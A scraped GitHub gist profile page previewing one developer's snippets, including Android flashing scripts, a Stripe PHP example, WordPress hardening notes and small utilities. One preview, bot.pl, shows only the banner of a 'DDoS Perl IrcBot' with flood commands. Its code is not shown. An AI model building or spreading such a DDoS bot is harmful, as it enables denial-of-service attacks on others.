Skip to content

Instantly share code, notes, and snippets.

Avatar

Tyler Longren tlongren

View GitHub Profile
@tlongren
tlongren / output.txt
Created Aug 19, 2020
Payton Blankflash Success
View output.txt
tyler:blankflash/ $ sudo ./qboot blank-flash $* [3:09:51]
Motorola qboot utility version 3.86
[ 0.000] Opening device: /dev/ttyUSB0
[ 0.000] Detecting device
[ 0.003] ...cpu.id = 172 (0xac)
[ 0.003] ...cpu.sn = 1271461894 (0x4bc8f806)
[ 0.003] Opening singleimage
[ 0.199] Loading package
[ 0.210] ...filename = pkg.xml
[ 0.216] Loading programmer
@tlongren
tlongren / addService.php
Last active Nov 25, 2021
Stripe Setup as of July 12
View addService.php
<?php
require_once("/srv/www/vpsstat.us/public_html/includes/stripe-php/lib/Stripe.php");
Stripe::setApiKey("sk_test_xxxxxxxxxxxxxxxxxxxxxxxx");
$token = ($_GET['stripeToken']) ?$_GET['stripeToken'] : $_POST['stripeToken'];
$customerDetails = get_customer_details($customer_id);
if (empty($customerDetails['stripe_id'])) {
$customer = Stripe_Customer::create(array(
"card" => $token,
"plan" => "standard",
"email" => $customerDetails['email']
View wordpress-hardening-techniques.md

Hardening WordPress

Securing WordPress using a combination of configuration changes and plugins.

.htaccess and wp-config.php tasks

1. Add keys to wp-config.php

2. Hide .htaccess and wp-config.php

View bot.pl
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@tlongren
tlongren / example.php
Last active Dec 23, 2020
PHP Clean URL (SLUG) Generator
View example.php
<?php
$slug = slugit("thank you for visiting");
echo $slug;
// returns: thank-you-for-visiting
?>
View flash-all.sh
#!/bin/sh
# Copyright 2012 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
View flash-all.sh
#!/bin/sh
# Copyright 2012 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
@tlongren
tlongren / speedtest-simple.sh
Last active Oct 27, 2020
Speedtest.net logger
View speedtest-simple.sh
#!/bin/bash
OUTPUT=`speedtest-cli --simple --share`
echo -e "$OUTPUT\n$RIGHTNOW\n#############\n" >> st_results_simple
@tlongren
tlongren / checkForString.php
Created Jun 27, 2013
My favorite method for checking for the existence of a string in a variable
View checkForString.php
<?php
$status = (strpos($_SERVER['REQUEST_URI'],'my-page') ? 'active' : 'notactive');
?>
@tlongren
tlongren / dockerize-meteor-app.sh
Last active Jun 11, 2019
Dockerize a Meteor App
View dockerize-meteor-app.sh
#!/bin/bash
# Taken from https://blog.mvp-space.com/how-to-dockerize-a-meteor-app-with-just-one-script-4bccb26f6ff0
APP_NAME=myapp
APP_DOMAIN=localhost
APP_PORT=3000
SETTINGS_PATH=.config/staging/settings.json
MONGO_URL=localhost
MONGO_PORT=27017
MONGO_DB=myappdb